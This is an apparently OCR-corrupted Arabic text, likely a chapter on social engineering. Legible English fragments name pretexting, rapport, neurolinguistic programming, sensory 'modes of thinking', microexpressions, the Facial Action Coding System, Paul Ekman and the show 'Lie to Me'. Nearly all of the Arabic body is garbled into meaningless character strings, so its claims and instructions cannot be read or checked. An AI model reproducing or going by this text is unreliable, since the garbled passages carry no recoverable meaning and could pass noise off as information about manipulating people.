AijjaJ c a]a ^ (jj£j (jl Jl V jl <^U^ tiUij ^alill .(JjjUJI V <*ioj Jl Igiij^J j Jl j^Vl Aijjuj tiljU aU\ dul£ 

.l^jisu (j^J V jlj Jc- J jj^a^ll (JjjUJI £1J Ijjiklj ;4j^UI ^Jjflj] (JjjUJI > jJjabQ ^aJ ; JUJI 
^aJ 6(JjjUJI ^^joLiJjll ^jUlxJl ^aJ ttiliJl J^a J>» Jj^ ^— L_jlIxkJl iaU^I jl £.U jVI Jc ^ JaJJ V ^ Pretext ^ L>* ^ LS^" 

^l^kJ J^J bftJ ^1^. (J^*^ tdlij ^W^l J^ J 2^0^ l-^A J ^—jIj-* (J^ 1 ^ i^J^ L - J ^ jl J^VI JJJ^^J ^al3 .(JjjUJI £jU LjJaJ 
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Dj^ill .^-£U^ ^A^ 3 ^ 4-^1 jjjj^j ^jj ^jjjlill ^^aldj ^jjc ^ a oil <JL^)3! ^^ill 4_ijjj^iii3l ^iVI jA 

(jjljli jl (jjJ,^£j I li] La AA^suzj (j^akjuJl UJ^ S^)ial]| s-tal] ^^>^ c _ 5 ic (jjj^Ui ^il j^JJ I— Lia 'p^^juJ Q?\ ^^C- <J J 1 H (^5^ 

JjSJ jl <-J^ lij Li Ljlaii Jjli (jl <j£x»Jj <J <JjJL<Jl (JjJC- ^ J^±U ^^JajJoll £>i& <JL<i (JJJ (jl L_fl jlLJl JJC. (j* > <flj& a J| 

Jxil (JjjUII J jj^iJI j c_i^^i3l 4-iJLaj| jL ilicVI f&l jj laj as ^5laVl .^oLlJ! cJ^j^I ^'j^I S jS jl tAijaaJt 

?^iVI ^ ^ laiai ^jj Ls ^\ dtjJalt £>A& ^^ic J jj^aJI (j£-AxJI (j* ^JU^. lia. ^ CjIAjjjIIloJI £>A& .<l^jaj Ls l^. j\ J jis^ 6 -^J^ 

<3j^]a3| jjiij (jl IgiLuj (j-d ^5^U-<i ^1 V JJ^ J CjLg jLlaII £>A& C flj£jj L_fl jjoj (j£3 j tAjli Aa> ^£ ( . Aj£ll (jj^J (jl (j^-<^ ^ 

djUjfljll jLl^.1 .f>g uaj^aaJ dlVl^a ^ (J J^*-^ t — u ^ (^1 L - J CS"^ ^ £J > ^>l J^l\ (J^axJ ,Vlh>n .(JjAill (JclijJ 

^ jjJa ilLujJ 4(JHa3I i^lui (^C- .AjcLdl^VI ^ uiAlgJI CA 11J CjI jL>^ J^Lk (j-d ClstjJajj > >il j>Jl 1 g j kjojl j ^ duj ^^jll 

4jj jLc; ^^klojl (jjill 6 jLft^jj J jj jj^a3I di^Ult j LiJlc; j^JI (jjoiill ^Jlc; l^j ^IS djUJ (<LaJI CjI microexpressions 
(jj^kVI ^ (^ jJI (JjjLI! Jclilij t^lilaVI 6C1jL» j^JI 6(jjjta3! ilijj <L^)Ja La^)^. (jl (j^j ^^31 jll Cjlj;!^ o^IjS djLijaj jjjlalil 
j^k '(neurolinguistic programming) <u^*l \ aj>UI <^jJI 6 j^j^ uj^j j^W ^jL^jj ^jU^ (> o^xj 

(jc (_pa j-<isl!I lI^^I I^A J jl^J C— Li^ 6(jjjlai3l (j^ JjjS^Jl ^tl^J > >il j-d > >>l ,C1jLJ^3I 6 j3 j jj^qMl iaLajl j^. (JjjUII 

t <jcl ^I^VI 4 ukUgJI ^gk I^qIa^IjujI c Lj£ ^ jjji j ^ jjja j^3l Iaa 

^Jc. ^gj <JJjouJ| L_j| J^LujI ^aisLi] cillij (jjjlall ilijj ^ o^cLoixJl ^)iaVlj C_JJj^i3l j^3l ^^Ic (jjal^Jl (JjJaSl (jx» (J^asu ^-^aj 

.Laj^ t^SfllAAl jjI 1 g l£ <Lj (^Ij 4^AklaixJI L_iJLajVI ^lsu ^^jl! <LaxJI A-jjudiili jjA^JI Jla L^jaI ^^UxJI daa . JLti j^J 

11a (JjLjjj .cJixll ^jlfl jAjj t^lLt-^J (jl (j£-<uJl (j>» o jllj ^(jjjistJlj ;Clj|^LdjVlj 1 ; ^ la^JI (JjjUII I ^-llajt-j ^^jll CjljLaiVI a I I^LujI 

•C5"M (^C'Lu^.VI (jjjAi^>Jl (Jj3 (jxi I^Ia^JjujI (j^J (><1 J^ J (Jjj^afllilL ^"^)ju1jj Cjljtg-xJ! dAA (Jj^aall 

(jxi Ia^. ^-<i 1 1 ^ Lajjj tdjLt-uxJI ^jjALdj l1jLi_iia3I ^jja^ (Jjs (j-G 4_xiA^jjai>JI 4_aKJI (jj^i L» Lllc. (Rapport) ^2^*51 

t^^cLu^VI (jjjAi^xJL <j^aLkll CjIjI^xJI (jxi <C a 11^ SjI^aII (JjjLII ^ <a!>UJl jjjlaj A-iij£ _Aij3l (jiajCj 

^cxiLjj Buffer overflow l5*JI cj^j^-^ CjIjI^xJI ^1,^ unl ajsjS ^^ic 4j> > : MI lJ^JI cjI^jI ^ Jj^aall Iaa ^^Vn 

Aiiii Aixa .L-fljjJaxJ! ^il^J (^^IxJI ^Ia^jjojVI l!^-^- Alliik LI jj i4jL*>j*^A\ ^1 j^VI ^jqVil 4_i^!j£3! <Jja (j^ S^lc l_j 

cJ*-?^ ( ; tj' C5^J iS^y^^ cJ^I ^ "j^^j^^" lS^*-^ (j^-<JI (j>» (jlS lij L» ,(jL^ji3l oAjjj L» <J*^ ^lx»L^3I 

?<J L-lC^Iill L£J j ^ 1 ^ lS^I (j^ '^A^>A ja. tl^Jl ^5*^ C5^^ <>— iLi jix-<Jl ^Uac] t4 AlaJ L» (J*^ flA^Jl 

t ^ w 1 1< ^ <aj^la3| jj^A^ll C1jL» jIslaII oAA (jc ^Ij^VI (j>» <^-^A .1^. LI jil I^Ia^JjojI (j£-dJj tx^flalL CjLi jlst^Jl dAA 

^jjaa .<L<i ^ixli (jl Li jlgJalj a^.1 j ^ t(_^^L-<JI j ^thinking) fAj^^ 'f^^A 3 o^j*-t "j^j^^^" ^ j^-^l 

jjiisu j (JixJl (j^ ik*asl\ liA .x-Lttail cJ^-^l daLi^Jl oi^ AJa c qjq^Ml j t^liAll tlAAjA^J j l^ij^su (jxi (j^J djLuaiill i>i& 

,^5^Lia3Ij CjLLnll 

(jUjV Cj| jlui (J^ilaaJ (jl (j^-dJ Cjljl^xJl £>i& (J^H tJ^A 3 ■ J- 1 ^ V (^5^- '^-^J^ 4_iLaC ClljoLl] 4_icLil^.VI 3 i o llg II dlljl^xi ^aisu 

^(jjlst^ L_ljL^ (jC 6jl^-<i cillj iQJ Jfl tx^lalL J g jjjjj ^Aa. <jujjLixJ| (j>i ^)Jj£Jlj 

jj^l .S^ jj^qMI (j^>la (jl t . ^^LiaII <J-gjujuj c aj£ j liUJ jjoixJI ^-!L3l ^.>.»a3l ^a^j t<Jj^a3l Iaa ci^-^ c)^ 

.A-ilxxJI (iltil Aj^jud^Jl j Ajjuoiill j AjiSal t^I dj^bj^jll l^ii (jl <u a j CjUj j1s«-a3I (JjjUII i^L jjJa j 

(Modes Of Thinking) jjSISII JaU^T 

11a jl ^ a\ 4 wW)a\\ J jVI 6 J^aaJl (jl jAjj .jj^Iu ia^j (_^Lj (JjjLII J;i^ij <9J^)Ia (jl c . LaJ Li (jsy*s >*>1 J;^J <L^)Ia jjjirM 

(j£>ij c aj£ (jc. c_ij| ^il L-jL ^nr.l ( . Lnla jl ^Luoij t . uiL (jj^J (jl ^1 4 ^1 ^ j tiljl ^Ixj ^ .AjcI ^I^VI 4 ui,V^\l (j^ L_ijL^Jl 

^^^IaslSI (j^iilalill (jiasuj dlaall (j>i (JJa £a m ^ jj^jjJall (j^ (JjjJ *Q^3 ttil^cLoaJ (jl (j^J I^A (jl (j-a ^C.^)Jl (^5^ (j^ U ^ 

iC 5jj^Jl Jixll AjlkWI jLafrVl ^ c>a J^Jl 

JaLajVI (jC lA^. A^iaslSI J-^JI (J^asu (j>i ^ U ^ ^^Ij (jj^ - ^ (_^AiL<i3 Ijjjoiixi ^IjAill Cjljj^jll ( . u£ o XjJaj 2001 ^>"ajudCl ^-juJ ^ 

;tgj j^lsu jl (JjjLII ^^1 
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# Jj^al Jc JjLulII J^ ( ; Lft Ullc. J^ull 

^aj ^ j L-LlgJl jJ^flJ U*Jg ^ 4-9^>*-* V jl cili^oj ^jl£ lij 4j! till Jj5J LojLojI .cilli J ^j^ulII l>* > « i ^jUj 11a 

"?lJ^13 (dominant mode of thinking) c> 0*^1 ^ j*^ J^> ^ 

jj^fljll <L Ja La Qjk^xJ V (JjjUII J^-*^ U*^ cA a 1 "M-^j I J - *^ J JJ^Q*^ J Agjkj Ja (jc <jjjU3I J^J^ I— LaS jl J^ 

(Jj^fill £*ia jll I^A Jc- tilj lei i ^ CjIj^VI (J^ax-J <^-^ UJ"^ ( ; al^Vl ^jjjAi^S ttillil I JaJ (j J */ a J ^ 

.Vjl CjU.uiL.uV1 L_fl^3U (jl (j^Jj 4_A^VI 6-^-1 (J^_jujj ^jJalj jLuixa ■^ Ju * a L_Luj1 in3 (jjjj^lll <C^joiJ 

(The Senses) lh»j^I 

ail La ia£a 4i£3 j " C5 1^" ^jjjJ ^al jll jU J jSII ^ J) (j^xJI L_iAi .(perception) J 3ijaj^la3l J^l^i ujj* 

tillj JJoiflJ (JjjUII .UjojI ja. ^Jajoil Uc«La,J J fl\jtl\ £jJa j ^aJ ^jl Ssl1c\ ^fil j £>i& ^^^ic ^1 jl V tl Jun^ uj .UjIjjj^J ^ UjojI j^. 

;(^3VU ^Lai^yi) Nociception 4 (uj'j^') Equilibrioception :^^! l^ 1 ^ ^ td^jll .j^J 

Thermoception <>(^j^ ^Lai^VI) S^ws^ of Time <(<i^*^ o^Jlj ^j^^ ^^) Kinesthesia & Proprioception 

Qll *e>j\j*A\ <^.J^ (JJJ^ O-a ^Vl .^aiuJ ^^ic lial j du£ UdlJ jL^. L_J jfil ^jjiaIj cilj) .(*O^J^^ ^—^-J^ <— fl^^VI) 

^A^^JI ^llj^j 4 ml ^ j ^joJI 6 j> ^ijti ;l_L<i!^£ ^jjala lfrx>hViuil J -J^fl Aj^Ij l^_La ILLoj ^^jll ^jjjI j^JI 

?6^)£ijJ ^^^juj (Jjl ^A Lq ^"Llj^all 11a ^ill lajjJ > 

ftdjliujl ja tdjj t*S j^ii ^illj t^iLa ^ ^lJI ^Jall UUi Ujj J ? C5 liJI ^UJI 

l^" .aj^U^JI ^ J&\ {Kinesthetic) o^\j (auditory) ^-^Jlj '(visual) ^jJ>\ 

,^jLoj Ja^j J£ J J-ft U^-^ L$^)^ C-jl^jVl .^lj 

djji _4ja^3t^J CjVjI^<» AjtjJaJ (j^xlaiJ ^a (j^lj 6 ^jl i nll/4 LoJ^ aII <jujL^J| jA U» iilj.li cdlat-aJ U» iaJjJalU ^jjjJ jA ^alxJl I^A <£lla3tj 
jjxjoJI ^aJ ^ j <C.LoJl ^JJJJ ialajJjajVl J jVl JJ^\ ,UiA J;U«J S^ALuLa ^aUuA^U j ^a I^A q±*. jj^ C-UAaJ 

^j) L^jJal j ^AJ^a) <11ojV1 (J^axJ ^su ,<jjL^J 41^. j j JJ 3 ^ j ^-^)^.^i3l V jl J^^J ^ J 6 JaslSI ^jC S^^LLa fcdli J (_3^^ 

t * Q J^ lit .V J^*-* V "t^-li^all liA DjSXiS ^jl t . ^c^ 1 J J ' <-! J^J ^Vy*"- cJ^^ " ^ J ^5 t fl>^Jl Jl L_jlAill 

_^Uj^a]| ^jjj jlla (J j^ ^^)^-<i j^JjujI ^)iC JJ^JI UJ^ L_ * AjuAaJt ^•^J tilj£-dJ 

^LdJjaaVI ^^>^ '^c^ 1 ^ .<J^L^xi Jj ^LaJjaiV! .Lft (j^akjaJ U^Jw Jjfr*_ui3l ialillll ^alxj] l^JjujjUui \ ij£ j <L^)Ja LlA lil 

11a ?1 a^jj ^ J S^^jLLq ^jjjI I^jJ dj jj^II dj|^)j£-<» Ja ^ jjxjoJI ^aLojI dia jll ^a£ .Aj ^ a A\ J jjjljoJI La -ij^j 

.A-Uj^axll 4_Jjsl11I (jjjjLui (jjSSl A-iC jjJa jA\ ^jj'qMl dil jl^ jj JaJ Jc til^cLoaJ ^jj^ull 

(Visual) cij^Ji 4- 

J ^UuA^J ^j^^ Cj^LkAxi jc i— ia jjj tSUS Jl SUa 4-^^ Lq o^lc. JL^.^)3l ^jj^iiiSI S^aLuLq J 11a . jj^jII 
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l£J 1 "V^ j^ Q/s ^ S^j^c Clilj-a . jljall ^l^a Jl 6jjoiLix» -iafjjJ ^JJ 1 "V^ (jl ( ; ujudj La ^^^joi ^Jj^ ^Ll^j ^ CiJl 

.<! <Jjou31j " JjJaa!" Ua. LoC jJaill (J^asu <1 LjJ^aJ c_jli^ La J) bl 1*1 > tit djI j3 ikjJ 
4<jUa^. CjIaKJI (J^asu (_£ jj^Jl j£La]| a I^ILujj La tJlc. .4jI jl (_£ jj^Jl j^Lol] La d^Ic Ajjj^JI j^Jl jl (_£ jj^JI ^JjjjoLill 

; Jlft 

."^n^La^j!" - 

."J 3 l^ j^jj 11a" 

(< ** ifll a j I £ j- <all 

(^ ( ^JaJ jl <yj^) ^£j^l 

(^jLjJa jl ^jJalj) ^j£^)l3l 

(jfL ^3 (j] 1^. L-Ixj gal) (jx» 4jjj^JI dL>tk.l<Jl (jj^ JTJ 1 "V^ j^ Q ^ J^Lill jl 4L^!^I/<J-gIxj3I 6(jlajlij3l t^iJl ;<jujaLL<Jl 4_IjL^x» 

_di!j!j£3! iLiJV (jj^Li^j 4jjj^JI (jjj£i>JI .^j^*^"^ 

(Auditory) 

(J;1a^. Jilall Cj jj^ ,1^. (jiaikld (jl£ filial (JjaaA jl 1^. <Jlc (jl£ Ail jlijVI jj^ J^i^ L_ .CjI^V! <*-il jfi*^ ^jlajuJI 
(jl Jl (JjllxLJ ^Ludill phr ^ .dAjj^ill J^ ^cLoaJ ^juoijl djl jj^VI (jV jl 6^LloiVI l^iS J^fi <L^)]a3l J^ilj ^t.^t.^l j^q^ll j 

;4_iC^)i3l ^jl^lall oi^ (j>uia (jj^J (jl clA^ ^t-^t.^l j^ixJl ^ ^jLoJI j^xjuJI 4j3 cJ-**^ L^ 1 ^^ (jUaill 

((jj jl (Jlc Cj jJ^aj) C 1 jJ^all ^ ^ 

(treble J base) ^jj^JI *j£ 
(^jaikia jl ^) Pitch 
(aiAv J Tempo 

(Aixj jl AiLaixJl 

Cjl^lalll dijlj ^ ,lj jl SLi^. Aiix^ <jjou31j l^j jfrT.<u.nj ^^ill CjL<J£JI (jli . ^jjjlajuJI (jjj^ixJI ^ ^^-J jLLiJ (jl ^jjjjJall (jx» 

(Kinesthetic) <A>^1 J- 

^^^Ic (Jj^7> ^aJjudj ;^L_flJlj (jj^stjujj P^i*^ 1 lA3t a IjA^ (jl (jj^)£ili ^3 _(jjdAlll ^J^)Ia (jC (Jj^aJJ 6^)cLuuJlj aJ^ a (jj^J ^^^^Jl ^£L<Jl 

j^stjuj (^^ic (J jj^a^Jl ^J^l ^1 laJLujl J jj>»VL (jj£^aJl (jj^)^ixJl ^)T_>.7iJ La LJlc. ,U _^JI (j>» ^A^lLd (j-a (jj^i^J ^liall ^ ^* 7- < * a J^ t llaJl 

(jl S^cLuax (j^3 .1^ ulqL dia^Qjuj 111 (Jjj^c ^^ic AjjouIL C-Lau] l^jji ^cL ^^^joJI li^ (jL Ujjoi cJ j3 ^^>^ .^Li^VI 

>c ^£j^. j£L<Jl l^a. 4 jqjq^ ^jII jcL^uJI j lALI ^*J! ^Ic^IojI 4 j£ ^cli 4JL Jja (j-d ^LojuoL ^IS ^ill j>^itll 11a 
^ laJLujj . Jij ^ ( ^ja3l (J*^ 4-iaj£J c^^^ ls^ 0 j^j 6 f ' ^ u -0 U"..' ^ (_5^l^l jj>t->.^l ^visceral '(j^^iiL ^jU*n ^^L. 

; Jlo CjIjLc ^^j^JI j£1a3I 

"f 4ik ^^Ll^VI liA (jl^l - 

."cikxi JL^ijI ^ (jj£l Ljj^" 

."SJtlS ^jjoJI (jl .kiaa Cj^jI" 
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4_ic^)ill (JjjI Jail j<u >i jj^J jl clA^ ^ J^ ^ cJ-**^ J^t CjUsUaillj 

^<iixjJa jl 4jj3) SjjuoJI 
JJ* > ^ J' *J£^) ^-^^olt 

(S^jLj jl 4 i^l > n) Sjl^pJl 4j>JJ 
(4 LiaJl jl 3 LSS1I) jjjll 

JjVI J LaS J^-laJ AjLlaJI jcLUl cilJj cJx^J jl j^-aJ £^5-^ 4-laJJj-all AiiaUJl jl j^ox_uaJl e-lcjloil J ^^j^Jl j^Lall S^cLud-a 

A&LuLalt I jlclilL V -3 - ^ <J-alx!ill J jj£^p. jjj£i-all j-a > ^ ji&VI ^^.jVI Jc f& jj£^pJI jjj^Lall B di*Sj jll 

^jL-all ciA . jjj^Lall j-a ^ jill 11a £-a Jj^Ijjj ^^£1 ^aA jcLuLa ^ <JL^j*l Jc J jj^^JI ^Jc- ^^cLal^VI allj dl jj^VIj 

j* c_Jki jl jjj j* <l£J^' *&J* .^j ^— U?'^ (J-oauJuII £jj <CjjudJ jjllxii Jc ftj^lS jj£j (Jl J^ ^J^ 3 ^aj^i £-iaaj AjjojLojVI 
?Ijj*> ^a li^ liLal ttilli j-a jj£I C5 1^. ?4 LaJ^ a\\ AjJl^A\ JJJ-aJ c flj£ 6^1 Aj^all jUa cill JjJ^aJ jl L_fl^Jl 

(Discerning the Dominant Sense) il l 4-«UJI jjyu ^ 

^juLdJ LaAic .(JLL La Jc Jjjj j ^aLaJAl £^blj to jjt > ^1 AjJll^a ^5 ctiLuoaj ^jASj] <ljL^-a ^Jt> La -j ud3 AJuu^Jl AjujL^JI Ij I^jI ^LlLall 

Jala jl ^ll^J (_^jj^Jl j^Lall . jj^J V jl cUjj^j jj^ ^ -^yj J^ 1 ^ ^-^1L 4j1 ^J 6 J^^ C^ -3 ^ ^ L>^J L ^-^^ 

Vl>^ Jloij (jVl 

.V ^al ^^^jJalil j^jj Clljl£ lil LdJjoj V tAjjl a^Loal Ja^.!>U ^aJ "?^a jJl li^ JiLa J^r*- r* 4 ♦ ^ ^J M1 J 
Jl ^H^J A3 4<J ^ ^ ,<jL^X.| Jc jL^. A3 ^jLkll jl l$Ja . 6 ^>^ <>— iAaJJ LdAic . 4_jJafl3l ^c^i ^ajLk ^^JjJ LaJj 

UiHc j ^ j3 (^j^- j^^i djli Sl^al ^jcl .^.LiJujVI ^Vl (3^*^ ^•^ c - 6 1^ (JjjLoi^. c _^£j^JI j£LJI ?4l!a^.^L<J L-jljiiaVI jl 

11a j>» "jl^ Lacli j^jj Cl^LaJI li^ 'jIj" '<J <— A jjuj A uLa ^ ( ; ^1 J' j^. Clilij 4^aclj ^^Jb (Ja ^c^-^ 1 C5J^ 

(jjjLai^VI jl (J^ I^A .4_iJ ^stjulij <joia3jj dl^L^Jl j^j ^mia! l^jj _til3i Asu (>— >AaJ La j^Jj t^jjj^aJ l^-jl (jiajIiflJ jl e^ys^ clA^ (jW^^ 

jC .V f \ ^Li^ lil LaC 6^)^.llaJlj j^J La^ic <ILL J^-a J ^^joj J£ (JjiaIj jl l^ilc L_L^J ol^aVI mL5 ^^. jA j^i^-aJl 

tg_}| l^i^. pLijjjVI J^ij laJ > uJ V l^-jl jU^VI j-« J .Ajjjk^ <j-a ci*-r^ cJ^^*^^ I^A JU^jI cJ*-r^ ^ * ^.LijujVI (Jj^ (J^^ 3 

.l^-J ^jjd-a^^JJ 

^jjjLai^VI La t fljjq^J jl j£-aJ ^LalaaVI J 6L_fl^Jl Jc Jxill J j^j <jalj-a j 6<Lau^aJl 4jjoUJ^)3! CjLaKJl (J^axJ Jc ^ J^*J (jll aIIojVI ^^>^ 
La£ ,4jjj^J 4il Jc li^A ^^ixj lil^ jSJ jl j^-aJ ^aila-a C^JjjuLa 4^)]ai3l (JJJjujI 6^)Jaj| JlLa 4-l>.>UJj ^Kl ^LaJjoaVI / a I^LujJ (^^1 AjLuJI 
Lajb j^i "... J j^J La jl ^iLlajl" ;Jj5J uJI jl£ tit Jc (J^aJJ <Lalc o^C-lS lilliA (JjjJ .1^3^ Laic (JjjJ I^A (JjLoj CjSj J j£i 

j-a j .d lLaJjji gajll jl 4_S1jujVI j-a ^3^^ ^ ^ (j^aLkll (JjjA^JI j-a (j^J j^j ^jj^lall Jl til^ j^J jl ( . la>J 6j^3 (J£ m ^^y^aJ 
jj^fllll j-a ^j^>^ ^1 ^-^aj lj 4_llajVI ^I^^JjujI .(jiaxJl 4_^X-^a jj^J jjjSij LaC t fllla q ^-^aj J La uj Jl Cj^jII [ J^^JI 

_<Ja^.^LaJl Jc jj£I A-aacI ^aJ j-a j t^UlS <llajVI ^al nut .^JJ j» j^J 

(Why Understanding the Mode Is Important) ^ ^ I^Ul ^ 

^al^Jjajl ^aJ j-a j ^t-uAj j-aj-a jl£ J jJ .(Jjtc. cJ^-^ pLaJl j-a L_J j£ ^iJJ jl 4il£-aL jl£ (_^ill j 6 J jJ t^^C^J ci^-J 6^ CIjI^ ^l\<ar> 
^-a (J-alsu LaAlc _l^_La ^Isul jl j£-a-all j-a J^J ^ g a iklLujI jll (j^)Ja3l j-a JJS A^C jl£ .dal aUf^SI J j-au^all ^akjaJl (JjjLu^.1 

<Ja^XaJ ^IS Aauj ^£31 li^J ftLjJjl dial Jjl^> ^aJ .D^J J 4_J ciLouLj jl£j L_iAillj 4 > Uall j |^ ^ala 4_J^3 jl£fl Dj-a JjV L-fl^Jl 

dij-alujl tit La Ai^a^aJ ^)j£l ojjj^J dlil J j.<al>.>iJ jl AjLoi j-a J jJ jli JslS tit j-a ^llll £JJJ L_fl^Jl ^akjaill jl£ tit La 

LaJ Jlc <j£J j tUllc ^Lia jjJa dili jli J jtiit j 4^"qj Jill Jc jSjILj J jVl ^ LSI! Jl j51l J liA Jasu J til .Jill AjuHa J <liC 
jl J ( . UjolL La-a 6<A^-a j£a J£ ^-a ^lalb J^lL ^3 J-aju 4jI jl£ lit . j£i-a jl£ lit uilt allijl dial j jSill Jj^tM Ajla^ll Aj3 

jl A Ai sv* a jxi fi^lalaiVI J <1 jUa Jc Jj^al jilll jl£fl ci^xJ V life jl£ lit . JlL jl£ La Jc j dj jj^a Jc ^^joiij cJ*-3 <■ UJ^ 
t,\lT uj j^JJ jl (J^^J ^ J^ dljl£ lit La (_^^>j jl J^J j^l J tia^)La (J^^ C^ 1 ^ ^ ^ (JJJ-aL ^aj£j J^J LaJ Ljj3 jl£ lit jl 6 JcLaill 

^(jjiAill j-a ^cC^j-a jl Ja^)La (J^uij 

Aau .AjjIj 60 L>^ C-JSl i^U 4_l£ J-oxJl liA jl . j-au^all ^aJajuall Jjstjai jlS La ^^.jVI Jc <C jjoiJ c ajujludJ jl j^-aJ Ajikll L_1i3LujVI oi^ £-a 
jj)T.uill liA CjLojuj Jc lijAaall jl£ jl J^ tJjLuoll jj^T.Jill oL^j! AjjL^all ii3^)^J J IjJJ t^Ui JJU tl^ic d l^JJ (_^ill CliLa jIslaII Jj^. j jl 

^Jjla jjill (Jr-rs />1 (_^V ^JJJ jl <jl£-aL jl ^aA J jJ jC JJa.! j ^^^joi .Ajjl^a-xJl £-a l^J JclijJj l^_J C—fl j > <aJJ jll <L Jail j CliLaKll ^IjAjjojIj 

."<^Li^J La iaJjJalL ^^>stJ <j|" ;4ic jjJjlj La lj^ (JjjUII jl£ .<j*Li^. J 
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jjjj^j j! pUSVl "^jj" ^ j^i Jll jSlI ^jll jiijj cJu£" J "?aJ jSl U ^jj Ja" cp* CjIjU^ 

,^a£J <j^aLkll 4_^lj3l Aljala J <jjjU3I ^ .CjIa jJ jIIloJI 

J obi AjIIaj ^LalAaJLujI ( . i^j ^^cLal^VI (jjjAi^a£ UJc ^jjjJ Lg (j^akjuJ (J*Jg a\\ jjt.uJI aIa^LujI j aIaj] ;4_Lli3l aAA JJ^I (jl ^jl 

^UucVI (j£-GJj CLiAaII ^aixJl Jc 4_jjjoo3! Ajt-nlall 4_Luiii3l j^Jl (J^H ^""^ -C3 iS^^ *is^ ^jic ^LaJC-VI ^c-j ^-jIjujjJ 

Microexpressions (^4*^ ^b^) 

&J La (j-a^jud J»-uij LdAlc LI jl ;L_bJalc. tLjj^. m udll (JJ^J LaAic jll j^bu Ss-ljij CS"^* UJ^ 

JjjjoJ! J Jjjjunll JIa UIslS Aal *?AAj^a 4_x»Lu£ij| JLd J^I»j jl^-laj (Jj^-^ '* ^! .AilalxJl c^JJj ^-^-J J 

dill 

^UaLljc ^Lill jSaj macroexpressions' microexpressionsj^ ^ ■ macroexpressions^ y^j 

. jjj* uj^ ^ j '(involuntary) ls^ jj V c>J j 
jj^j (jiaxj jjii jc^UUI .lALI^xJI ^^Ic Jxi ^ j a^jjj cj^jj a! j^oij l^jlc s jlajJuJI V jlj j^^^ ^ Microexpressions 

^ J .Expression of the Emotions in Man and Animals 1872 ^ J ^ ojjj^ j^ 5 u' 

± jl^U 1 1966 ^ J .microexpressions f j^^ U Sj^ J jV £A£& \ u£\ jjlj j jl6U ^^jj^UII ^> j^l i960 cJj! jt J 
M Micromomentary <^ ^ ^ J "micromomentary" ^ I \ji±i ^SIjjIj 

,^»aJI (neurolinguistic programming) aai^*1 \ V^jJI J 
J j c>^^ .Cy^4 Jj^ jj^^^ microexpressions JW^ J jSSVt c> ^ J^^ ^ 

J^^j 40 i> jSSV microexpressions ^Ij^ ^1 c>^^ jj^^i .^jJI ja ^ill microexpressions 

^1 ajj^JI j^U^I l£ f^j^j (Facial Action Coding System) FACS & jj^ c>^' jj^^I jj^ 1980 J 

Just the (Facial Action Coding System) FACS *k 

dll^}^. ^jjjtM UiUaj IjLaij! .1980 J C-Mj^J^ JJ^ 1 ^^ ^ U - ^^ JJ^-^ J^^ CP" L '"^ ^ LS* ^^J^C Cj! jIuj ^ j) Asu 

I^I^JjojI ^aJJ Cj^jJaxJl -Ij^J ^alxJ (j!>Lk 4il jjj^isu ^Jj . (AUs)*-^ 13 ^^ CjI^. j aIa^IjujIj L_ liL^a j jll J dj!^ > s-ivW 

.<jo>I J^l ^> Jl^xJl liA J I jUx^ (FACS) <^ j^^ lU^ Jjll ^alkj > gal C^al^^JjujVI dj| ^JjuJ 30 U -0 ^)^^ 

^ jl*.!! <^ jll AUs ^ j» ,(j^> cJ-^^ ^ jV j ^ ^-^^ (JjjLujI Jc CjIc j-<^<JI ^ j£i .CjIc ^ I^jjojIj^ (J^j AUs 

,4^. jll til jLuj (JjI^jojj 4_jojjL<ui sj t<c d ^al*J Asu ^±L<i CjI^I j^-jj t^jlA^ ^ 'j^'^ '(^5^^ ^(Jijajl/Jc.l |CjIc j^^ d 
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: aj^ j AU J* FACS 

.AU ^tai h*£ - 
.AU Jj> > ^ 

tilj^^jj jll 4_jjU^£ cA - iaij JLuijjj 4<J>ixjlj <A±k U^LkJI l^fia t (stimuli) & cJ^-^- el) -0 A cJ^*-^ ^ l^j 

.Li^jLk AiJaUJl £>i& J^-laJ j 4 Jail! ^jl 4 ^jIj 

(Stimuli + Emotion = Muscular Triggers) OiLiait cdbA* - 3ilaUit + ^tjia^ll 

jl c^j^j <^ j .CujjjVI J^Li. (j* FACS lW^ u^jj^ <-! <Lj (Ua FACS (^-^ j^' lP 3 j^' 

tdjj ^jju V La (j^akjui Ailalc. (_£JJ ciljV -lala |l.li*J fiiL^jl (j* ^j£.<<UJ <jl <J-<J jll c-^^^juJI 4(j-o£j| I^JIS s-LjuiVI (j-a j 

. Jtaj jUjj 11a j J i^Jl microexpressions o^jf- J ^AiiaUJI liUJ ^ij 

t4_jJa J^>*-a ^ilalxJl (JjjLujI (^ic ciL <j^aLaJ) JL^jVI Jjlisu ^V^aj 6<La^3l 4_a. jll djljjnsu -li^J j L_fl^xj3l 4jqj^ ^alxJ 

^Loi^ll 6 RE3j^ t^iiSal^ Cjlj;^] <!Ui3l ^UlajVI c^^l obi ^^Jaj Jj^^l .l^J^Li ^1 AilaUI] AjjjiaJI L-jUjuiVI 

jc^Ui^l oj^ll .4iJalxJI ^ j^j l-ujuj ^j^j cili£ sj ; jl j^JI ^jc (" My Theory" UaiJl ^Jajc; ^iix^j jl <jL^ ^ tillij 

(jl (jjill (JjjUII (j-<i 1^. 0 jjt > ^> <c. j-<^-a I j .Truth Wizards 6 j jCLui jj^^^ j u - *^^ jj^^^ ^ 

^ 6^.1 j Igil U^j^j ^ jl£ -c ^i^ J " scientific editor" .^I^JI c C5^' s J^' 

^j^j _ dj\_a\_a!LS\ (jjaiL ^ L^Jl UiA!^ j micros o^j^ C5^) ^^^Vl o-^I jj^^^ <J jj^^^ <-^^ 

(jliJ j^*jjI jj^-^lj u - *^^ jj^^^ <-I^ el) -0 Truth Wizard ^ j^^-^ cs - ^ <-! jj*^ ^ J^^VI ^ ^Uua^I! 1^. ^.jl 

sUlLJI- (Sadness) uj^'- (Joy) c J^ 1 " (Fear) ^j^JI- (Disgust) j! Ji^SVI- (Anger) < j > ^l t ^jlj^l J a^uVi 

.(contempt) ^UO 1 /j^t- (Surprise) 

jcUixJI ^ <c j^-s ^ J-<uia3 aJj^sVI ^-Ajlill ^jiiL cl>^^ jj^*^ ^ "(Basic Emotion) ^ Kj ui j ^^^^ ^ s ^^" ^jj 6 1990 
^^^j j^^j Jj^ c> c>^^ jj^^^ .( http://www.paulekman.com/) a^UjVI 

^ "Lie to Me" .0^4 ^4 "Lie to Me" lPj^J^ ^ a 1 * 2009-2008 t> sjail ^ 

Sjlia* IL^a j jj^iill <ia jjSi] (jiaxj jxj .s^JI jiiill g^l jJ! Jx^J ^1 j jjJ jA Ul ^ (j£3 microexpressions ^ 

."Lie to Me" lULiJI q* ^Uj^iJI microexpressions ^ c> 
